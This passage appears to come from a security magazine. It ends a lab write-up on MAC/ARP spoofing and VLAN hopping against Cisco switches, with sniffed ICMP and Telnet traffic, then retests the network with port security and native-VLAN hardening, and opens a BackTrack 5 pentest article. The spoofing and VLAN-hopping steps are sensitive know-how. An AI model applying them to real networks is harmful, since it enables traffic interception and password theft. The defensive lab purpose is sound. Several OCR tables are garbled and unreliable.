Toure Addinest Toure Addinest Toures Addinest Touresoli Touresoli Touresoli Address Length:	00,00; FF,58,C2; 21 0x8006 0x8000 6 4 1 0x8000 6 4 1 00:00; FF;58,C2;21	20/41 (12/73) (12/73) (12/73) (14/73) (14/73) (14/73) (14/73) (12/73) (12/73) (12/73)		
Process Address Process Proce	60,02,177,58,C2,21 Du0006 1 Du0000 6 4 1 00:02,775,58,C2:21 152,140,1.2	(Ribernet) (14/7) (Ribernet) (14/7) (
Truces Address Trucest Truces	00,02; FF; 58; C2; 21 0;28006 1 0;08800 6 4 1 00:03: FF; 58; C2: 21 152; 146; 1; 2 C4: 00:05; 46; 0; 00	20/41 212/23 (Discussi) (14/7) (12/7) (12/		
Distances Address: Distances: Distancces: Distances: Distances:	00,02,197,58,C2,22 000006 2 000000 6 4 1 00,02,197,58,C2,21 1 00,02,197,58,C2,21 1 1 00,02,197,58,C2,21 1 1 00,02,04,00 1 1 2 1 2 0,00000 1 2 1 2 0,00000 1 2 1 2 0,00000 1 2 1 2 0,00000 1 2 1 2 1 2 1 2 1 2 1 2 1 2 1 2 1	(F). (F).		
Direct Address Terressel; Debutes type: Debutes type: Debutes type: Debutes Lape: Debutes	00,02; FF,181,C2; 21 buebbi 1 buebbi 6 4 4 00,03; FF:181,C2; 21 buebbi 6 4 1 00,03; FF:181,C2; 21 195,144,1,2 (24,03); 05;142,00;00 195;144,1,1 (22,73)	(Robernael) (14/73) (Robernael) (14/73		
Distance Additional Distances D	60,03,177,38,02,21 buebbi 1 0 6 6 6 1 100,03,177,58,02,21 1 00,03,177,58,02,21 1 100,03,177,58,02,21 1 100,03,177,58,02,01 1 100,03,077,58,02,01 1 100,03,077,58,02,11 100,03,077,58,02,00,00 100,03,077,58,02,00,00 100,03,077,58,02,00,00 100,03,077,58,02,00,00 100,04,04,0,00 100,04,04,0,00 100,04,00,00 100,04,00 100,04,00 100,04,00 100,04,00 100,04,00 100,04,00 100,04,00 100,04,00 100,000 100,000 100,000	2004 ELZ73 (Barrast) [4473] (4473) (4474) (4474) (4474) (4474) (4474) (4474) (4474) (4474) (4473)		
Directorial Directori	60.02) 175 581 (22) 21 feedbold 1 000000 6 4 1 100.02) 175 581 (22) 21 100.02) 175 581 (22) 21 (22) 175 581 (22) 21 (22) 175 585 585 585 585 585 585 585 585 585 5	2014 (BArra) (BARra) (BARra		
Direct Address Direct Direct Address Direct	60,03,175,58,C2,21 Subble 1 00000 6 6 1 10,03,175,58,C2,21 10,03,175,58,C2,21 152,140,1,2 C2,00,09,142,00,00 132,144,1,1 (42,181 18 3ytes (422,181	24443 (1177) (1177) (1473) (1473) (1473) (1574) (15		
Deriver Address: Deri	64.02) 197.54.02; 21 forebold 1 004000 6 4 1 197.58:02; 21 00.03; 197.58:02; 21 197.58:02; 21 10 197.58:02; 21 10 10 10 10 10 10 10 10 10 10 10 10 10	1447] [1273] (1273] (1473] (1473) (1473) (13		
U Dave Allerer Der hersenst der hersenst	00.001 FF150 (2212) 0x2000 6 6 1 1 0x0000 6 6 1 1 0x0000 6 6 1 1 0x0000 6 6 1 1 0x0000 6 6 1 1 0x0000 6 6 1 1 0x0000 6 6 1 1 0x0000 6 6 1 1 0x0000 6 6 1 1 0x0000 6 7 1 0x0000 6 7 1 0x0000 6 7 1 0x0000 6 7 1 0x0000 6 7 1 0x0000 6 7 1 0x0000 6 7 1 0x0000 6 7 1 0x0000 6 7 1 0x0000 6 7 1 0x0000 6 7 1 0x000 7 1 0x00 7 1 0x000 7 1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1	2014 (1273) (1273) (147		
Dense Attract	00.001.075.08.021.21 hubble 1 hubble 6 4 1 00.001.075.08.021.21 1 00.001.075.08.021.21 1 00.001.075.08.021.21 1 00.001.075.08.021.21 1 00.001.075.08.021 1 1 00.001.075.08.021.21 1 00.0000.075.08.021.21 1 00.0000.075.08.021.21 1 00.0000.075.08.021.21 1 00.0000.075.08.021.21 1 00.0000.0000.0000.0000.0000.00	1447] (1177] (1177] (1473) (1474)	0 M E E C (M) (M	
By the set of the set	00.001.075.08.021.21 huebbo 1 1 00.000 6 4 0 0.01.075.08.021.21 100.0449.1.2 C C 000.09.447.00.00 101.2449.1.2 C C 000.09.447.00.00 101.2449.1.1 (477.03) 12 Jan 10.000 12 Jan 10.000 10 Jan 10.0000 10 Jan 10.00000 10 Jan 10.00000 10 Jan 10.00000 10 Jan 10.00000 10 Jan 10.00000 10 Jan 10.000000 10 Jan 10.00000000000000000000000000000000000	14403 (1473) (14	C # 6 10 C # 6 10 C # 6 10 0 C # 10 0 C	na Manana Manana
Direct Allights Direct Allights	60.53197.18(C2:21 DeB06 1 1 0.0000 6 6 1 0.00079518(C2:21 0.00079518(C2:21 10.00079518(C2:21 10.00079518(C2:21 10.00079518(C0:00) 10.0009518(C0:0009518(C0:00) 10.0009518(C0:000	14473 12473 (Bharnet) [1473] 14475 14475 12471	C M E E C G M	

Figure 25. Colasoft ARP Packet Builder



Figure 26. Duplicate MAC

the correct MAC entries in the switch's CAM table. The switch currently has an MAC entry for PC 1, the switch knows PC 1 is located on FastEthernet 1/2. The ICMP request packet therefore sent by PC 2 was received by PC 1 directly through FastEthernet 1/2.

The attacker sent out an ARP packet containing destination MAC address, source MAC address, source IP and destination IP. Figure 48 illustrates the attacker has inserted a destination MAC of c8:00:09: AC:00:00 (SW0 VLAN 1), source MAC of 00:03:FF:58: c2:21 (PC 1's MAC address) in the Ethernet header. The attacker again inserted the addresses under the ARP fields. The source Physics has an address of PC 1's MAC, the source IP inserted is the IP address of the attacker. The destination Physics address of SW0 VLAN 1's MAC address is inserted, the destination IP is of SW0's VLAN 1 interface. The ARP packet is sent out of the attacker's network connection, the switch thinks the MAC address of 00:03:FF:58:c2:21 is associated on ports FastEthernet 1/1 and 1/2.

Once the attacker sent out a spoofed ARP packet to the switch's VLAN interface, the switch modified the existing MAC address for the IP address 192.168.1.2 (Attacker's PC).

The spoofed ARP packet sent by the attacker was sniffed using Wireshark. Figure 27 shows an ARP broadcast for the address 192.168.1.1, the switch replied with its MAC address to acknowledge the ARP broadcast by the attacker. The spoofed ARP packet



Figure 27. Wireshark ARP

	55 88.016812	<pre>c8:00:07:†8:†1:01</pre>	Spanning-tree-(for-br s	STP	Conf. Root = 32768/c8:00:07:f8:00:00 Cost = 0 Port = 0x802
	56 89.731802	192.168.1.6	192.168.1.4	ICMP	Echo (ping) request
	57 89.956968	<pre>c8:00:07:f8:f1:01</pre>	Spanning-tree-(for-br s	STP	Conf. Root = 32768/c8:00:07:f8:00:00 Cost = 0 Port = 0x802
	58 91.728546	<pre>c8:00:07:f8:f1:01</pre>	Spanning-tree-(for-br s	STP	Conf. Root = 32768/c8:00:07:f8:00:00 Cost = 0 Port = 0x802
	59 93.568288	<pre>c8:00:07:f8:f1:01</pre>	Spanning-tree-(for-br s	STP	Conf. Root = 32768/c8:00:07:f8:00:00 Cost = 0 Port = 0x802
	60 95.410993	c8:00:07:f8:f1:01	Spanning-tree-(for-br s	STP	Conf. Root = 32768/c8:00:07:f8:00:00 Cost = 0 Port = 0x802
	61 97.262074	<pre>c8:00:07:f8:f1:01</pre>	spanning-tree-(for-br s	STP	Conf. Root = 32768/c8:00:07:f8:00:00 Cost = 0 Port = 0x802
	62 98.239477	c8:00:07:f8:f1:01	CDP/VTP/DTP/PAgP/UDLD (CDP	Device ID: SWO Port ID: FastEthernet1/1
	63 99.090942	<pre>c8:00:07:f8:f1:01</pre>	Spanning-tree-(for-br s	STP	Conf. Root = 32768/c8:00:07:f8:00:00 Cost = 0 Port = 0x802
-					

Figure 28. ICMP Request sniffed

⊞ Frame 30 (60 bytes on wire, 60 bytes captured)
Ethernet II, Src: Microsof_5c:c2:21 (00:03:ff:5c:c2:21), Dst: Microsof_58:c2:21 (00:03:ff:58:c2:21)
Internet Protocol, Src: 192.168.1.6 (192.168.1.6), Dst: 192.168.1.4 (192.168.1.4)
Version: 4
Header length: 20 bytes
⊞ Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
Total Length: 44
Identification: 0x6a00 (27136)
⊞ Flags: 0x04 (Don't Fragment)
Fragment offset: 0
Time to live: 32
Protocol: TCP (0x06)
🗄 Header checksum: 0x6d71 [correct]
source: 192.168.1.6 (192.168.1.6)
Destination: 192.168.1.4 (192.168.1.4)
🗆 Transmission Control Protocol, Src Port: iad3 (1032), Dst Port: telnet (23), Seq: 0, Len: 0

Figure 29. Telnet session

was detected by the switch. The spoofed ARP packet was a duplicate MAC that was already in the switch's CAM table. The ARP packet sent by the attacker has a source IP address of 192.168.1.2; in this case there is already an entry for this address in the switch's CAM table. The switch will acknowledge the ARP packet and alter its existing MAC of 00:50:56:C0:00:01 to 00:03:FF:58: c2:21. Therefore the switch now contains duplicate MAC address although for different switchports.

To prove the MAC spoofing works, PC 2 will again ping PC 1 with an ICMP request. For the test to be successful, the attacker should sniff its switchport and see this ICMP request packet. As seen in Figure 28, this test was successful. The attacker managed to sniff packet destined for PC 1. The attack was successful due to the fact the switch had duplicate addresses but for different switchports. As switch's forward packets based on MAC addresses, the switch forwarded the packet to both ports that had got the MAC address of 00:03:FF:58:c2:21.

Another test to prove MAC spoofing is successful, PC 2 sent out a telnet session to PC 1.

The attacker managed to sniff the telnet traffic on its switch port. If the telnet session was successful, the attacker can sniff all the telnet traffic destined towards PC 1 and retrieve telnet passwords for malicious activity.

Appendix B - Retest network with security

The tests above have proved to be successful. In this section all the tests will be implemented again. This time though security will be added to try and countermeasure against the successful attacks. Once these tests have been implemented and tested, they will be analysed to determine how successful the countermeasures were against the attacks. There will be different network designs for each test.

VLAN Hopping

Figure 30 illustrates the new network design to provide countermeasures against VLAN hopping double encapsulation attack. Figure 53 shows two changes. The first change comes from the attacker's VLAN. The attacker is placed in an unused VLAN on the network. As seen in the previous test, the attacker was placed in

VLAN 1 which is used for management VLAN. Placing the attacker in VLAN 1 created a huge vulnerability as VLAN 1 has information on other VLANs. Secondly the trunk link between Switch 1 and Switch 2 has a native VLAN of 99. Again VLAN 99 is an unused VLAN on the network. All the FastEthernet ports on both the switches have been placed in non-negotiate mode. This mode is accomplished by using the command switchport nonegotiate on all the FastEthernet ports. This turns off the DTP protocol; this should not allow the attacker to negotiate a trunk port with Switch 1. Each port on the switches is explicitly chosen for either a trunk port or an access port.

This test will prove if this new secure network design will countermeasure against VLAN hopping.

Firstly to trunk between the attacker and Switch 1, the attacker sent a DTP trunking packet to the switch.



Figure 30. VLAN hopping with security



Figure 31. VLAN hopping with security using Yersinia

As seen in Figure 31, the attacker inputted the required information. The source MAC address of 00:0C:29:DB:F6:00 which is the attacker's eth0 interface. The destination MAC of 00:50:56:C0:00:08 is the MAC address of the victim's network connection. The VLAN ID has changed from the previous test as the attacker is now a member of VLAN 100. VLAN2 is the required VLAN ID of the victim, in this case the VLAN ID is VLAN 2. The Source IP of 192.168.1.5 is of the attacker, while the destination IP of 192.168.2.2 is of the victim.

a0/1	00	882 1a	trunking	99	
4071	011	91.200	trunking	<i></i>	
ort	Vlans al	lowed on trunk			
a0/1	1-4094				
ort	Vlanc al	lowed and active	in management	domain	
a0/1	1-3.40.1	AN AN AND ACTIVE	In monugement	GONDITI	
00/1	1 0,40,1	00			
Port	Vlans in	spanning tree fo	rwarding state	and not pruned	
a0/1	1-3,40,1	00			
W1#show	int trunk				
Port	Mode	Encansulatio	n Status	Native vlan	
a0/1	on	802.1a	trunking	99	
2224222	1999 10 10 10 10 10 10 10 10 10 10 10 10 10				
Port	Vlans al	lowed on trunk			
a0/1	1-4094				
Port	Vlans al	lowed and active	in management	domain	
a0/1	1-3.40.1	AN AN AN ANT ACTIVE	TH Multugement	GONGIN	
407 a	* *	**			
ort	Vlans in	spanning tree fo	orwarding state	and not pruned	
-0/1	1 2 /0 1	00			

Figure 32. Attempted trunking

Inventory	X Nitole (1813		
() Dita Discovery Server DiDSL DiExploration Server DiWindows Server 2000	Bie Lat 10em So Sautore Brahase	(Untitled) - Wireshark	
	Mpter	• 4	Expression . St Clear, A Public
	Tiese Source	Destination	ratecel Info
	594.6725 cc:8:08:04.0713 594.47244 [32:16].14 696.05381 cc:03:08:04.0714 5196.05381 cc:03:08:04.0714 5196.05491 cc:8:08:04.0714 5112.04.05491 cc:8:08.04.0714 5112.04.05491 cc:8:08.04.0714 5112.04.05491 cc:8:08.04.0714 5114.0110 cc:8:04.04.0714 5104.0110 cc:8:04.04.0714 5104.0110 cc:8:04.04.0714 5104.01004 cc:8:04.04.0714 5104.01005 cc:8:04.04.0714 5104.01005 cc:8:04.04.0714 5104.01005 cc:8:04.04.0714 5104.01005 cc:8:04.04.0714 5104.01005 cc:8:04.04.0714 5104.01005 cc:8:04.04.0714 5104.01005 cc:8:04.04.0714 5104.01005 cc:8:04.04.0714 5104.01005 cc:8:04.0714 5104.01005 cc:8:04.0714 5105.0005 cc:8:04.0714 5105.0005 cc:8:04.0714 5105.0005 cc:8:04.0714 5105.0005 cc:8:04.0715 5105.0005 cc:8:0505	Spanning-tree (for-br 5 192,168,1.235 B Spanning-tree (for-br 5 Spanning-tree (for-br 5	TP Conf. Root = 32768/cc:08:1 RMSEAN Host Annoancement TLC:032 TP Conf. Root = 32768/cc:08:1 TP TP Conf. Root = 32768/cc:08:1 Conf. Root = 32768/cc:08:1 Conf. Root = 32768/cc:08:1 TP Conf. Root = 32768/cc:08:1 Conf. Root = 6100000000000000000000000000000000000
	59 110.088972 cc:03:08:e0:f1:03 70 112.079859 cc:03:08:e0:f1:03	Spanning-tree (for-br 5 Spanning-tree (for-br 5	TP Cont. Root = 32768/cc:03:0 TP Conf. Root = 32768/cc:03:0
	 Frame 1 (60 bytes on wire, 60 bytes) IEEE 802.3 Ethernet Ionical Link Control 	tes captured)	
	0000 01 00 cc 00 00 cc 03 08 e 0010 03 00 00 00 00 00 00 00 cc 0 0025 00 00 50 00 cc 03 08 e8 00 0 0033 02 00 16 00 cc 03 08 e8 00 0 0033 02 00 16 00 00 cc 03 08 e8 00 0	0 f1 63 60 26 42 42 3 60 c0 60 63 60 60 3 60 2c 60 60 14 60 0 60 60	
	File */mplether/000x4847*6328 Evtes 00.0152	P. 75.0.70 M.0	Dmas 0

Figure 33. Wireshark output to Switch 2 VLAN 2

Figure 32 illustrates a failed attempt to trunk with the switch. As seen in the previous test, the attacker's switchport became a trunk and was able to access all the VLANs.

Using Yersinia the attacker selected the double encapsulation attack. The Wireshark sniffer application captured the packets while sending out the double encapsulation packet to Switch 2's VLAN 2.

vertory	X Thome TT		
813		(Untitled) - Wireshark	
DSL	Bie Edit Yew Ge Sapture Analyze Stat	ulica Help	
Exploration Server		- · · · · · · · · · · · · · · · · · · ·	1 🔳 🖬 🔍 🔍 🔍
	Ditter	· + Expressio	m. Suchar V Booly
	Time Source	estination Protocol	liste
	49 92.020033 cc:03:00:e0:f1:03 5 50 94.055225 cc:03:00:e0:f1:03 5	panning-tree-(for-br STP panning-tree-(for-br STP	Conf. Rost = 32768/cc:03:1 Conf. Rost = 32768/cc:03:1
	51 96.027942 cc:03:08:e0:f1:03 5	panning-tree-(for-br STP	Conf. Root = 32768/cc:63:0
	53 100.025160 cc:03:00:00:f1:03 5	panning-tree-(for-br STP	Conf. Roat = 32768/cc:83:
	54 102.016325 cc:03:08:e0:f1:03 5	panning-tree-(for-br STP	Conf. Root = 32768/cc:03:
	55 184.852652 cc:63:08:e0:f1:03 5	panning-tree-lfor-br STP	Conf. Roat = 32768/cc:E3:
	56 106.064989 cc:03:08:00:f1:03 5	panning-tree-(for-br STP	Conf. Rost = 32768/cc:03:
	57 108.030030 EC10310010011103 3	panning-tree-fron-briste	CONT. MODE = 32/56/CCIE3:
	59 110.026149 // 00.1.5	namingstrees fforshr STP	Conf. Boat = 32768/cc:83
	60 112.052411 cc:03:08:00:f1:03	panning-tree-(for-br STP	Conf. Roat = 32768/cc:83:
	61 114.059106 cc:03:00:e0:f1:03	panning-tree-(for-br STP	Conf. Root = 32768/cc:03:
	b Eram 1 (60 buter on vire 60 buter	antured	
	b TEEE 507 7 Ethernet	ap content	
	h Logical Lisk Costrol		
	0000 51 90 c2 00 00 00 cc 02 00 c6 f1	83 69 76 47 47	699
	10010 03 00 00 00 00 00 00 00 cc 03 00	e0 00 63 00 00	
	0820 08 08 89 89 cc 83 68 48 68 83 85	2C 09 09 14 09	
	0000 00 00 00 00 00 00 00 00 00 00 00	64	

Figure 34. Wireshark output to Switch 2 VLAN 3

Listing 1. Port security for FastEthernet 0/1

Interface Fa	astEthernet0/1		
switchport	mode access		
switchport	port-security		
switchport	port-security	mac-address	sticky
switchport	port-security	mac-address	sticky
	001c.c	:065.a379	

Figure 33 illustrates the attacker's PC sending an ICMP request packet to Switch 2's VLAN 2 interface. In this attempt Switch 2 did not strip off the outer layer of the packet. Remember the native VLAN has changed to VLAN 99; therefore the switches do not strip off the outer layer of the packet. This was due to different VLAN for the attacker and trunk link. As the outer layer had not been stripped off, there was no ICMP reply packets from the victim's IP address.

To prove Switch 2's VLAN 3 cannot be accessed either, the next screen dump should not display any ICMP reply packets from the victim.

The attack was again unsuccessful to VLAN 3. The attacker could not perform VLAN hopping double encapsulation attack as the attacker could not negotiate a trunk port between switch 1 and the attacker's PC.

MAC Address Spoofing

The same network topology is to be used from the previous test. To add security onto the network, a feature called port security will be used on each switchport. Port security enables an administrator to select how a switchport will learn MAC addresses on a specific port. For example, an administrator may allow two MAC addresses to be learned. MAC addresses can be configured as static or sticky (dynamic). In this case, the sticky mode will be used. Each port will only allow one

Table	12.	МАС	Spoo	fina	Port	securitv
			0000			5666

Feature	Description
Switchport port-security	Used to enable port security on selected switchports.
Switchport port-security mac- address sticky	Determines whether to learn the MAC addresses on each port dynamically.
Switchport port- security violation shutdown	Allows an administrator to select which action to take if the port has been violated. In this case the violated switchport will completely shutdown, only an administrator can re-enable the port.
Switchport port- security mac- address max 1	This command allows the switch to learn only 1 MAC address per switchport. This will prevent any duplicate MAC addresses and IP spoofing attacks to take place.

Packet List					1
Data Tine Science	Destination		Protocol	Gra Genery	
1 0.100000 00:1C:C0:65:E0:84	00:19:AA:CF:CD	7:49	ARP	64 Who is 192	160.1.17 Tel
Decode Editor					
T 337 - Address Resolution Protocol	114/281				
PHardware type:	1	(Ethernet)	[14/2]		
Protocol Type:	0x0800	116/21			
- Hardware Address Length:	6	[10/1]			
- Protocol Address Length:	4	119/11			
Type:	1	(ADP Dequest	120/21		
Source Physics;	00:1C:C0:65:E8:84	122/61			
Bource 19:	192.168.1.2	128/41			
Destination Physics:	00:19:AA:DF:CD:40	132/61			
Dustination IP:	192.160.1.1	138/41			
Patra Bata	140/001	•			
Mumber of Bytes:	18 bytes [42/10]				
TCS - Frame Check Sequence:					
- 9 FCS:	Ox85DAC483 (Calo	ulated)			
here Follow					Total 60

Figure 35. Sending spoofed source MAC address

MAC address to be learned, this adds additional security to the switch. The switchports must first be configured using switchport mode access to enable port security the command switchport port-security must be used.

In this scenario, the attacker should not be allowed to spoof another MAC address from another switchport. The default behaviour of a port security is shutdown. The configured behaviour is to shutdown the port immediately. The following tests will prove port security working to prevent MAC address spoofing.

To verify that each switchport has learned a MAC address dynamically, issue the command show run. This will show the current configurations applied on the switch. The attached switchports should have learned a MAC address. To enable an administrator to view MAC address changes, the administrator can execute the command mac-address-table notification (Listing 1).

To test if port security will prevent MAC spoofing attacks, the attacker will send a spoofed ARP packet to the switch's VLAN interface.

The attacker sends an ARP packet using the source MAC address of host 192.168.1.4 (00:1C:C0:65:E0:84) and using destination address of the switch's VLAN. The

EX year Cal preder type Image: Imag	SW1 - HyperTerminal		
Image: Structure Application Total Riddresses in System (excluding one mac per port) : 0 Max Riddresses limit in System (excluding one mac per port) : 8320 SWIMsh arp SWIM SWIM App (min) SWIM App (min) SWIM SWIM	Edit Yew Çali Iransfer Help		
Total Addresses in System (excluding one mac per port) : 0 Max Addresses limit in System (excluding one mac per port) : 8320 SWIMSh arp SWIMSh arp SWIM SWIM SWIM SWIM SWIM SWIM SWIM SWIM	Ge @ 3 ∞ B Ge		
Enter configuration commands, one per line. End with CNTL/Z. SW1(config-if)mip add 192.168.1.1 255.255.255.0 SW1(config-if)mo shut SW1(config-if)mo shut SW1(config-if)mo shut SW1(sonfig-if)mo shut SW1W B0:27:43: %SVS-5-CONFIG_I: Configured from console by console SW1W B0:27:43: %SVS-5-CONFIG_I: Configured from console by console SW1W SW1Wsh arp Protocol Address Internet 192.168.1.1 - 0019.aadf.cd40 Protocol Address Rge (win) Hardware Addr Type Interface Internet 192.168.1.1 - 0019.aadf.cd40 Internet 192.168.1.1 - 0019.aadf.cd40 Protocol Address Internet 192.168.1.1 - 0019.aadf.cd40 Protocol Address Protocol Address Rge (win) Hardware Addr Type Interface Internet 192.168.1.1 - 0019.aadf.cd40 Protocol Address Protocol Addre	lotal Addresses in Syste Max Addresses limit in S SWIWsh arp SWIW SWIW SWIW SWIW SWIWconf t	m (excluding one mac per port) : 0 ystem (excluding one mac per port) : 8320	
SW1(config)Wint vlan1 SW1(config-if)Wip add 192.168.1.1 255.255.255.0 SW1(config-if)WrZ SW1 SW1 wrZ SW1 00:27.43: %SYS-5-CONFIG_I: Configured from console by console SW1 00:27.43: %SYS-5-CONFIG_I: Configured from console by console SW1 00:27.43: %SYS-5-CONFIG_I: Configured from console by console SW1 SW1 SW1 SW1 SW1 SW1 SW1 SW1 SW1 SW1	Enter configuration com	ands, one per line. End with CNTL/Z.	
Internet 122.106.1.1 - 0019.aadf.cd00 HRPH Viani Protocol Address Age (min) Hardware Addr Type Interface Internet 192.168.1.1 - 0019.aadf.cd00 ARPA Viani Internet 192.168.1.4 0 001c.c065.e8b4 ARPA Viani	SWI(config-if)#~2 SWI# 90:27:43: %SYS-5-CONFIG_ SWI# SWI#sh arp Protocol Address	I: Configured from console by console Age (min) Hardware Addr. Type Interface	
Internet 192.100.1.0 0 001C.C06C.T/52 HKPH Vlan1	Wil#sh arp Protocol Address Internet 192.168.1.1 Internet 192.168.1.4 Internet 192.168.1.6	Rge (win) Hardware Rddr Type Interface - 0019.aadf.cd40 ARPA Vlan1 0 001c.c055.e8b4 ARPA Vlan1 0 001c.c05c.f752 ARPA Vlan1	

Figure 36. Port Security Notification

<pre>le Get Vene Call Trander Heb Call Trander Heb Call Part Part Part Part Part Part Part Part</pre>
W108-box port-security add SW108-box port-security address ? Van Vlan limits I Output modifiers <cr> Show port-security ? address Show secure address</cr>
% Invalid input detected at '' marker. SWIMshow port-security add SWIMshow port-security address ? vlan Vlan limits ! Output modifiers <cr> SWIMshow port-secure address interface Show secure address interface Show secure interface ! Output modifiers <cr> SWIMshow port-security in SWIMshow port-security in SWIMshow port-security interface ? FastEthernet IEEE 802.3</cr></cr>
SW1Mshow port-security add SW1Mshow port-security address ? vlan Vlan limits 1 Output modifiers <cr> SW1Mshow port-security ? address Show secure address interface Show secure interface 4 Output modifiers <cr> SW1Mshow port-security in SW1Mshow port-secur</cr></cr>
SWIMshow port-security ? address interface 1 Output modifiers <cr> SWIMshow port-security in SWIMshow port-security interface ? FastEthernet FastEthernet TestEthernet TestEthernet TestEthernet TestEthernet TestEthernet SMIMshow port-security interface ? FastEthernet TestEthernet SMIMshow port-security interface ? FastEthernet TestEthernet State State</cr>
interface Show secure interface Uutput modifiers Cr> SW1Wshow port-security in SW1Wshow port-security interface ? FastEthernet FastEthernet IEEE 802.3
SWIMshow port-security in SWIMshow port-security interface ? FastEthernet FastEthernet IEEE 802.3
GigabitEthernet GigabitEthernet IEEE 802.3z
SWIMshow port-security interface fa 0/1 Port Security : Enabled Port Status : Secure-shutdown Violation Mode : Shutdown Aging Time : 0 wins
Aging Type : Absolute SecureStatic Address Aging : Disabled Maximum MAC Addresses : 1 Total MAC Addresses : 1 Configured MAC Addresses : 0
Sticky WBC Addresses : 1 Last Source Address:Vlan : 001c.c065.e004:1 Security Violation Count : 1
SW1#
nnected 0:36:23 Auto detect (9600 844-1 (SCRCLL CAPS NLM Capture Print echo

Figure 37. Port security violation

attacker includes its own IP address of 192,168,1,2 as the source IP address. The attacker inputs the destination IP address as the switch's VLAN (192.168.1.1).

Once the packet has been sent out the attacker's network connection, the attacker's switchport is shutdown. As previously described, the default action taken by a switchport using port security is to shutdown the switchport. There are three options that can be configured if a port is violated. These include protect, restrict and shutdown.

After the attacker sent a spoofed ARP packet with another PC's MAC address, immediately an on-screen event popped up. This event shows an administrator that this port (Fa 0/1) has been violated. In this case, this event occurred since the attacker sent an ARP packet with a spoofed source address other than its own MAC address. The MAC address of 00:10:00:65:E8: $_{B4}$ has been sent from port Fa 0/1.

Figure 37 illustrates the configured port security settings. In this case the port security feature is enabled and the violation mode is set to shutdown. The maximum allowed MAC address on this specific switchport is 1; there has been 1 violation count on this switchport.

NAYAN SANCHANIA

Nayan Sanchania (BSc Honours), MCITP, CCNA. My interest of network security continued after college. I pursued my dream and completed a BSc Honours degree in network security where I obtained theory and practical knowledge of current security technologies.

I have extensive theory and practical knowledge of network security through projects and learning. I have been involved with various roles within IT such as IT Security Consultant where I got hands on experience with Backtrack, Firewalls, Two factor authentication and security policies. I am currently working as a Systems Engineer in Voice Recording with various Banks and compliances.



Haking

Security develo

Join our **Exclusive and Pro club** and get: Haking one year subscription Hahing Full page advertisement in **Hakin9 every month!** Haking Information about your company send to over 100,000 Hakin9 readers!

> More information at en@hakin9.org

ONDemanD BackTrack 5: The Ultimate Security Toolkit Part 1

In the security world today, a security professional relies heavily on knowing the right tools for the job, and knowing how to use these tools. There are hundreds of tools available and the list of tools is constantly changing and growing. For security assessments and penetration testing, there are very few toolkits as actively supported and all-encompassing as BackTrack 5.

B ackTrack 5 (BT5) is a Linux security distribution that contains all of the tools necessary to perform a complete security assessment of systems, networks, and applications. This article will describe some basic practical uses of the tools within BackTrack 5 as they relate to a network-based penetration test or security assessment. BackTrack 5 was designed with penetration testing in mind. A pentest is a method of evaluating and testing the security of a system, network, or application by performing actions that are meant to simulate the actions of a malicious attacker.

The tools included in BackTrack 5 are very often the same tools an attacker might be using against a network, and understanding these tools and how effective they might be against your network is an important step of security in-depth. The tools covered in this two-part article and their usage will be outlined in the same order that a network assessment might take place, starting with host discovery and information gathering on discovered targets, moving onto identifying vulnerabilities within your targets, followed by attempting exploitation of the discovered vulnerabilities, and finally, what to do with your newly gained access, also known as post-exploitation. Web application assessment tools will be covered as well.

The first part of the article will cover the basics of BackTrack 5, simple host discovery and information gathering of an internal network, as well as a basic wireless assessment. Part two will cover the steps of discovery and information gathering for an external network assessment, as well as vulnerability assessment, exploitation, and post-exploitation. Some other useful tools will be covered as well. Keep in mind that there are many tools available in BT5 and many of their functions can overlap, and the information in this article doesn't encompass all of the ways, nor the only way to perform these actions. Use this information as a starting point to discover the real capabilities of the toolkit. The version of BT5 used for in this article is BackTrack 5 R2 KDE 64-bit and there may be slight differences in commands and available applications if you are using a different version.

BackTrack 5 Basics

There are a few different ways BT5 can be setup and used. You can create a Live CD or bootable USB drive and run it in a live environment, install BT5 to *virtual machine* (VM), or install BT5 directly to a hard drive and boot to it as the main OS. Each method has its perks and drawbacks, but for the sake continually performing assessments and testing, creating a BT5 VM is recommended. If you are new to BT5, the indepth details of setting up BT5 will not be covered in this article; however, the Official BackTrack 5 Wiki and Forums at *http://www.backtrack-linux.org/* contain all the information necessary for getting started.

Once you are up and running, before starting any information gathering, you should create a place to store the information you are collecting. Some of the tools in BT5 utilize databases to store information and one of the strengths of BT5 is that the databases should be preinstalled and configured to start using without much hassle. Since the context of this article covers pentesting of multiple clients, creating a separate folder for each client is recommended. For this assessment, everything will be stored in subfolders in the ~/PenTest directory, created for this demonstration. Additionally, results that are stored within a database should be

-	And Distances in the local distances in the local distances in the local distances in the local distances in the	1	100	and the second se		1 mm -								
5	Backtrack		a,	Information Gathering		E								
•	Graphics		1			File								
۲				Exploitation Tools		roote	it:/#	ls	-1 /1	pente	st/			
1	Multimedia		~	Privilege Escalation		drwxr	90 xr+x	7	root	root	4096	2012-02-2	4 08:14	backdoors
-	Office		-	Maintaining Access		drwxr	xr-x	7	root	root	4096	2012-02-2	4 08:28	bluetooth
×	Settings			Reverse Engineering		drvxr	XF-X	9 14	root	root	4096	2011-07-1 2012-02-2	2 07:52 8 10:21	cisco database
ò				RFID Tools		drwxr	×r • x	17	root	root	4096	2012-02-2	4 08:13	enumeration
	Utilities		•	Stress Testing		drvxr	XF-X	10	root	root	4096	2012-03-1 2011-07-1	4 14:40 2 07:52	exploits forensics
7			+			drwxr	xr-x	8	root	root	4096	2011-06-0	4 11:33	fuzzers
				Reporting Tools		drvar	XF-X	4	root	root	4096	2011-08-1	4 08:28	nisc
+			ø	Services		drwxr	XL-X	23	root	root	4096	2012-02-2	4 08:28	passwords
6						drvxr	XF-X	3	root	root	4090	2011-06-0	4 11:30	reporting
U					A	drvxr	XE-X	6	root	root	4096	2012-02-1	1 09:23	reverse-engineering
-		- 10	hard		Peni	drvxr	XF - X	8	root	root	4090	2011-06-0	2 07:52	scanners
-		- 11	089	1		drvxr	×r-x	9	root	root	4096	2012-02-2	4 08:28	sniffers
						drwxr	XF-X	3	root	root	4096	2011-06-0	4 11:28	stressing
						dryxr	xr-x	4	root	root	4095	2011-06-0	4 11:33	tunneling
						drwxr	xr-x	16	root	root	4096	2012-02-2	4 08:14	voip
						drwxr-	xr-x	38	root	root	4096	2012-02-2	4 08:28	web
						drwxr-	×r • x	11	root	root	4096	2012-02-1	1 09:14	windows-binaries
						drvxr	X1.1X	7	root	root	4096	2012-02-2	4 08:28	wireless

Figure 1. Tools Manages

exported and stored in the client folder, and the database should be wiped before the next engagement.

